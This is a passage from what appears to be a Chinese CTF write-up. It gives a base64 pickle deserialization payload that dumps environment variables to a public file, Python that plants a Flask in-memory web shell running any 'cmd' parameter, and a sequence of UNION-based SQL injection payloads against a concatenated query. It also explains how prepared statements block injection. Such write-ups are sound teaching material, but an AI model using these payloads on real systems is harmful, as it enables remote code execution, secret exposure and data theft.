12: S STRING 'mkdir -p static && env > ./static/flag.txt && ls / >> ./static/flag.txt'
87: t TUPLE (MARK at 11)
88: R REDUCE
89: . STOP
highest protocol among opcodes = 0

--- 最终生成的 Payload ---
Y29zCnN5c3RlbQooUydta2RpciAtcCBzdGF0aWMgJiYgZW52ID4gLi9zdGF0aWMvZmxhZy50eHQgJiYgbHMgLyA+PiAuL3N0YXRpYy9mbGFnLnR4dCcKdFIuCg==

第二个就是使用flask 内存马,这个更省事,打入之后直接GET传参cmd就可以RCE了。

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, ("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

a = A()
payload = base64.b64encode(pickle.dumps(a)).decode('utf-8')

print(payload)

smbms

是一道Java的代码审计,只是套了个Java的壳子,本质上还是一道简单的Sql注入题目,只是增大了代码量,并没有考到反序列化什么的。

首先我们打开环境,是一个登陆页面。可能会尝试Sql注入进去,但是审计代码会发现整个Java项目都使用PrepareStatement预编译语句,所以一般情况下是不能注入的。

所以登陆进去的考点就是爆破。查看源代码里面的Sql语句,能看到提示weak_auth,表示这是一个弱密码。

经过测试,admin的密码是1234567,其他用户的密码是0000000

在审计代码前,插一嘴解释一下为什么这个Java项目都使用PrepareStatement预编译语句,一般情况下是不能注入的。

首先我们要从编译原理视角来看看数据库是如何执行Sql的:

当你发送一条Sql语句给MySql等数据库时,它并不是像读课文一样直接读懂的,它需要经过词法分析和语法分析,最终生成一棵抽象语法树(AST)。

数据库引擎只会严格按照这棵树的结构去执行查询。

那为什么“字符串拼接”会产生漏洞?

在字符串拼接的模式下,程序是先在后端把Sql语句的文本拼好,然后再整个发给数据库去解析。

假设你的原始代码意图是:
SELECT * FROM users WHERE username = '【用户输入】'

如果攻击者输入了admin' OR '1'='1,后端拼接出来的完整字符串变成了:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'

致命的问题发生在这里:

当这个拼接好的长字符串发给数据库时,数据库的语法解析器会重新审视这句话。它看到单引号闭合了,并且识别到了OR这个Sql关键字。于是,数据库的解析器在生成AST时,会顺理成章地画出一个OR的逻辑分支节点。

攻击者输入的原本应该是“数据”,却成功欺骗了解析器,修改了这棵语法树的结构,变成了“指令”。

那么, “参数化查询”(预编译机制)是如何防住的?

参数化查询(也就是PreparedStatement所做的事情)运用了“预编译”的思想,它的核心防御机制是:将Sql语句的结构解析,与数据的绑定,分两步严格隔离执行。

第一步:发送模板(锁定语法树结构)

程序首先把带有占位符?的Sql模板发给数据库:
SELECT * FROM users WHERE username = ?

此时,数据库对这个模板进行词法和语法分析,生成了一棵结构被永远锁定的语法树。这棵树上有一个明确的节点:这里需要一个数据,且只能是数据。

第二步:发送数据(纯值绑定)

程序把攻击者输入的恶意数据'admin' OR '1'='1'作为单独的参数发给数据库,填入刚才预留的?节点。

在这个阶段,数据库已经完成了语法解析。无论你传进来的数据里有多少个单引号、多少个OR、多少个UNION,数据库引擎都只把它当成一个“纯粹的字符串字面量。

好的,解释了一下为什么这个Java项目都使用PrepareStatement预编译语句,一般情况下是不能注入的。

为什么是一般情况下?

虽然我们不能哪里都能注入,但是我们还是可以找到一些端倪:

Sql注入的核心就是字符串拼接,我们看到java/top/sxrhhh/dao/user/UserDaoImpl.java文件,看到getUserList方法,这个方法就是获取用户列表的,就是一个查表的函数。注意到这一行:

1
2
3
if (!StringUtils.isNullOrEmpty(userName)) {
sql.append(" and u.userName like '%").append(userName).append("%'");
}

之前说过,Sql注入最重要的就是拼接字符串。这里就直接把userName拼接到Sql语句中,所以userName就可以作为注入点。

首先,这里的注入比较特殊,不能直接用—或者#闭合:

1
2
3
4
sql.append(" order by creationDate DESC limit ?,?");
currentPageNo = (currentPageNo - 1) * pageSize;
list.add(currentPageNo);
list.add(pageSize);

因为在代码后半部分限制了要传入两个参数,直接闭合的话会因为找不到这两个参数而报错。正常操作就是在后面加上&queryUserRole=0&pageIndex=1把逻辑闭合,不过还有一个更巧妙的思路:既然你JDBC强制要求语句里必须有2个?,那我就自己造2个?给你,这样就可以放心闭合了。

接下来就是联合注入了:

首先联合注入的第一步通常都是ORDER BY,但是上文代码我们会发现原本语句已经有ORDER BY了。在一个常规的查询语句中,不能出现两个独立的ORDER BY关键字(除非是嵌套的子查询)。

所以我们之间增量遍历猜列数,从1列开始猜(当然,由于源代码给你了,你也可以之间去源代码里面看列数)。

admin%' UNION SELECT 1 limit ?,? --

这时候我们会发现数据库是没有回显的,就代表一列是不对的。(因为用户管理里面没有admin导致没有回显,正常测试的时候可以把这个admin换成孙兴,这样没有出现孙兴就是注入有误)

admin%' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 limit ?,? --

这里有回显了,就知道是14列,并且回显列在2,3,7,14上面,这里我们用3来注入。剩下就是基础的联合注入流程,不再过多赘述。

admin%' UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14 FROM information_schema.tables WHERE table_schema=database() limit ?,? --

admin%' UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14 FROM information_schema.columns WHERE table_name='flag' limit ?,? --

admin%' UNION SELECT 1,2,flag,4,5,6,7,8,9,10,11,12,13,14 FROM flag limit ?,? --

拿到flag。